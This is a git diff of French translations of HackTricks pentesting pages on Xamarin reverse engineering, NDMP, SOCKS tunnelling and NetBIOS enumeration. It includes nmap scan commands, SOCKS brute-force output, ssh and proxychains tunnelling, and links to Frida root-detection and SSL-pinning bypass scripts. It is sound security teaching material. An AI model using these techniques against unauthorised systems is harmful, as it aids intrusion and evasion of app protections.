* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ceci est un résumé de l'article de blog [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
Xamarin est une plateforme **open-source** conçue pour les développeurs afin de **créer des applications pour iOS, Android et Windows** en utilisant les frameworks .NET et C#. Cette plateforme offre l'accès à de nombreux outils et extensions pour créer des applications modernes de manière efficace.
|
||||
Xamarin est une **plateforme open-source** conçue pour que les développeurs **créent des applications pour iOS, Android et Windows** en utilisant les frameworks .NET et C#. Cette plateforme offre un accès à de nombreux outils et extensions pour créer des applications modernes de manière efficace.
|
||||
|
||||
### Architecture de Xamarin
|
||||
|
||||
- Pour **Android**, Xamarin s'intègre aux espaces de noms Android et Java via des liaisons .NET, fonctionnant dans l'environnement d'exécution Mono aux côtés de l'Android Runtime (ART). Les Managed Callable Wrappers (MCW) et Android Callable Wrappers (ACW) facilitent la communication entre Mono et ART, tous deux construits sur le noyau Linux.
|
||||
- Pour **iOS**, les applications s'exécutent sous le runtime Mono, utilisant une compilation Ahead of Time (AOT) complète pour convertir le code C# .NET en langage d'assemblage ARM. Ce processus s'exécute aux côtés de l'Objective-C Runtime sur un noyau de type UNIX.
|
||||
- Pour **Android**, Xamarin s'intègre avec les espaces de noms Android et Java via des liaisons .NET, fonctionnant dans l'environnement d'exécution Mono aux côtés de l'Android Runtime (ART). Les Managed Callable Wrappers (MCW) et les Android Callable Wrappers (ACW) facilitent la communication entre Mono et ART, tous deux basés sur le noyau Linux.
|
||||
- Pour **iOS**, les applications s'exécutent sous l'environnement d'exécution Mono, utilisant une compilation complète Ahead of Time (AOT) pour convertir le code C# .NET en langage d'assemblage ARM. Ce processus fonctionne aux côtés de l'Objective-C Runtime sur un noyau de type UNIX.
|
||||
|
||||
### .NET Runtime et Mono Framework
|
||||
### Environnement d'exécution .NET et Framework Mono
|
||||
|
||||
Le **framework .NET** comprend des assemblies, des classes et des espaces de noms pour le développement d'applications, le .NET Runtime gérant l'exécution du code. Il offre une indépendance de plateforme et une compatibilité ascendante. Le **Mono Framework** est une version open-source du framework .NET, initiée en 2005 pour étendre .NET à Linux, maintenant pris en charge par Microsoft et dirigé par Xamarin.
|
||||
Le **framework .NET** comprend des assemblies, des classes et des espaces de noms pour le développement d'applications, avec l'environnement d'exécution .NET gérant l'exécution du code. Il offre une indépendance de la plateforme et une compatibilité ascendante. Le **Framework Mono** est une version open-source du framework .NET, initiée en 2005 pour étendre .NET à Linux, maintenant soutenue par Microsoft et dirigée par Xamarin.
|
||||
|
||||
### Rétro-ingénierie des applications Xamarin
|
||||
### Ingénierie inverse des applications Xamarin
|
||||
|
||||
#### Décompilation des assemblages Xamarin
|
||||
#### Décompilation des assemblies Xamarin
|
||||
|
||||
La décompilation transforme le code compilé en code source. Sous Windows, la fenêtre Modules dans Visual Studio peut identifier les modules à décompiler, permettant un accès direct au code tiers et l'extraction du code source pour l'analyse.
|
||||
La décompilation transforme le code compilé en code source. Sous Windows, la fenêtre Modules dans Visual Studio peut identifier les modules pour la décompilation, permettant un accès direct au code tiers et l'extraction du code source pour analyse.
|
||||
|
||||
#### Compilation JIT vs AOT
|
||||
|
||||
- **Android** prend en charge la compilation Just-In-Time (JIT) et Ahead-Of-Time (AOT), avec un mode hybride AOT pour une vitesse d'exécution optimale. La compilation AOT complète est exclusive aux licences Enterprise.
|
||||
- **Android** prend en charge la compilation Just-In-Time (JIT) et Ahead-Of-Time (AOT), avec un mode hybride AOT pour une vitesse d'exécution optimale. La compilation complète AOT est exclusive aux licences Enterprise.
|
||||
- **iOS** utilise uniquement la compilation AOT en raison des restrictions d'Apple sur l'exécution de code dynamique.
|
||||
|
||||
### Extraction de fichiers dll à partir d'APK/IPA
|
||||
### Extraction des fichiers dll à partir d'APK/IPA
|
||||
|
||||
Pour accéder aux assemblages dans un APK/IPA, décompressez le fichier et explorez le répertoire des assemblages. Pour Android, des outils comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) peuvent décompresser les fichiers dll.
|
||||
Pour accéder aux assemblies dans un APK/IPA, décompressez le fichier et explorez le répertoire des assemblies. Pour Android, des outils comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) peuvent décompresser les fichiers dll.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Pour les blobs d'assembly sur Android, [pyxamstore](https://github.com/jakev/pyxamstore) peut les décompresser.
|
||||
Pour les blobs d'assemblage dans Android, [pyxamstore](https://github.com/jakev/pyxamstore) peut les décompresser.
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
Les fichiers dll iOS sont facilement accessibles pour la décompilation, révélant des portions significatives du code de l'application, qui partage souvent une base commune sur différentes plateformes.
|
||||
Les fichiers dll iOS sont facilement accessibles pour la décompilation, révélant des portions significatives du code de l'application, qui partagent souvent une base commune à travers différentes plateformes.
|
||||
|
||||
### Analyse Dynamique
|
||||
|
||||
L'analyse dynamique implique de vérifier le SSL pinning et d'utiliser des outils comme [Fridax](https://github.com/NorthwaveSecurity/fridax) pour des modifications en temps d'exécution du binaire .NET dans les applications Xamarin. Des scripts Frida sont disponibles pour contourner la détection de root ou le SSL pinning, améliorant les capacités d'analyse.
|
||||
L'analyse dynamique implique de vérifier le SSL pinning et d'utiliser des outils comme [Fridax](https://github.com/NorthwaveSecurity/fridax) pour les modifications en temps réel du binaire .NET dans les applications Xamarin. Des scripts Frida sont disponibles pour contourner la détection de root ou le SSL pinning, améliorant ainsi les capacités d'analyse.
|
||||
|
||||
Autres scripts Frida intéressants :
|
||||
D'autres scripts Frida intéressants :
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
|
||||
## Informations Supplémentaires
|
||||
## Informations supplémentaires
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Informations sur le protocole**
|
||||
|
||||
À partir de [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP**, ou **Network Data Management Protocol**, est un protocole destiné à transporter des données entre des périphériques de stockage connectés au réseau \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) et des périphériques de [sauvegarde](https://en.wikipedia.org/wiki/Backup). Cela élimine le besoin de transporter les données à travers le serveur de sauvegarde lui-même, améliorant ainsi la vitesse et réduisant la charge sur le serveur de sauvegarde.
|
||||
> **NDMP**, ou **Network Data Management Protocol**, est un protocole destiné à transporter des données entre des dispositifs de stockage en réseau \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) et des dispositifs de [sauvegarde](https://en.wikipedia.org/wiki/Backup). Cela élimine le besoin de transporter les données par le biais du serveur de sauvegarde lui-même, améliorant ainsi la vitesse et réduisant la charge sur le serveur de sauvegarde.
|
||||
|
||||
**Port par défaut :** 10000
|
||||
```text
|
||||
|
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# 1080 - Test d'Intrusion Socks
|
||||
# 1080 - Pentesting Socks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de Base
|
||||
## Informations de base
|
||||
|
||||
**SOCKS** est un protocole utilisé pour transférer des données entre un client et un serveur via un proxy. La cinquième version, **SOCKS5**, ajoute une fonctionnalité d'authentification facultative, permettant uniquement aux utilisateurs autorisés d'accéder au serveur. Il gère principalement le proxy des connexions TCP et le transfert des paquets UDP, fonctionnant au niveau de la session (Couche 5) du modèle OSI.
|
||||
**SOCKS** est un protocole utilisé pour transférer des données entre un client et un serveur via un proxy. La cinquième version, **SOCKS5**, ajoute une fonctionnalité d'authentification optionnelle, permettant uniquement aux utilisateurs autorisés d'accéder au serveur. Il gère principalement le proxy des connexions TCP et le transfert des paquets UDP, fonctionnant au niveau de session (Niveau 5) du modèle OSI.
|
||||
|
||||
**Port par Défaut :** 1080
|
||||
**Port par défaut :** 1080
|
||||
|
||||
## Énumération
|
||||
|
||||
### Vérification de l'Authentification
|
||||
### Vérification de l'authentification
|
||||
```bash
|
||||
nmap -p 1080 <ip> --script socks-auth-info
|
||||
```
|
||||
|
@ -46,48 +47,35 @@ PORT STATE SERVICE
|
|||
| Statistics
|
||||
|_ Performed 1921 guesses in 6 seconds, average tps: 320
|
||||
```
|
||||
## Tunneling and Port Forwarding
|
||||
## Tunneling et redirection de port
|
||||
|
||||
### Utilisation de base de proxychains
|
||||
|
||||
Configurer proxychains pour utiliser un proxy socks
|
||||
Configurer proxy chains pour utiliser un proxy socks
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
```bash
|
||||
ssh -D 1337 -q -C -N user@your-ssh-server
|
||||
```
|
||||
|
||||
```bash
|
||||
proxychains nmap -sT -Pn -p 80 target-ip
|
||||
```
|
||||
|
||||
```bash
|
||||
proxychains curl ifconfig.me
|
||||
```
|
||||
|
||||
```bash
|
||||
proxychains wget http://example.com/secret-file.zip
|
||||
```
|
||||
Editer le bas et ajouter votre proxy
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
Avec auth
|
||||
Avec authentification
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### Plus d'informations : [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
#### Plus d'infos : [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,44 @@
|
|||
# 137,138,139 - Test d'intrusion NetBios
|
||||
# 137,138,139 - Pentesting NetBios
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Service de noms NetBios
|
||||
## Service de nom NetBios
|
||||
|
||||
Le **Service de noms NetBIOS** joue un rôle crucial, impliquant divers services tels que l'**enregistrement et la résolution de noms**, la **distribution de datagrammes** et les **services de session**, utilisant des ports spécifiques pour chaque service.
|
||||
**Le service de nom NetBIOS** joue un rôle crucial, impliquant divers services tels que **l'enregistrement et la résolution de noms**, **la distribution de datagrammes** et **les services de session**, utilisant des ports spécifiques pour chaque service.
|
||||
|
||||
[De Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP) :
|
||||
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
* Service de nom pour l'enregistrement et la résolution de noms (ports : 137/udp et 137/tcp).
|
||||
* Service de distribution de datagrammes pour la communication sans connexion (port : 138/udp).
|
||||
* Service de session pour la communication orientée connexion (port : 139/tcp).
|
||||
|
||||
### Service de noms
|
||||
### Service de nom
|
||||
|
||||
Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé grâce à un **processus de diffusion** où un paquet "Requête de nom" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de noms** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan` et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms des serveurs et les adresses MAC.
|
||||
Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé par un **processus de diffusion** où un paquet "Name Query" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de nom** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan` et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms de serveurs et les adresses MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
Enumerating a NetBIOS service you can obtain the names the server is using and the MAC address of the server.
|
||||
En énumérant un service NetBIOS, vous pouvez obtenir les noms que le serveur utilise et l'adresse MAC du serveur.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Service de distribution de datagrammes
|
||||
### Service de Distribution de Datagrammes
|
||||
|
||||
Les datagrammes NetBIOS permettent une communication sans connexion via UDP, prenant en charge la messagerie directe ou la diffusion à tous les noms de réseau. Ce service utilise le port **138/udp**.
|
||||
```bash
|
||||
|
@ -46,16 +47,16 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Service de session
|
||||
|
||||
Pour des interactions orientées connexion, le **Service de session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session débute avec un paquet "Demande de session" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec le TCP gérant le contrôle de flux et la retransmission de paquets.
|
||||
Pour les interactions orientées connexion, le **Service de session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session commence par un paquet "Demande de session" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec TCP gérant le contrôle de flux et la retransmission des paquets.
|
||||
|
||||
La transmission de données au sein d'une session implique des **paquets de messages de session**, les sessions se terminant par la fermeture de la connexion TCP.
|
||||
La transmission de données au sein d'une session implique des **paquets de message de session**, les sessions étant terminées par la fermeture de la connexion TCP.
|
||||
|
||||
Ces services sont essentiels à la fonctionnalité de **NetBIOS**, permettant une communication efficace et un partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives sur [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
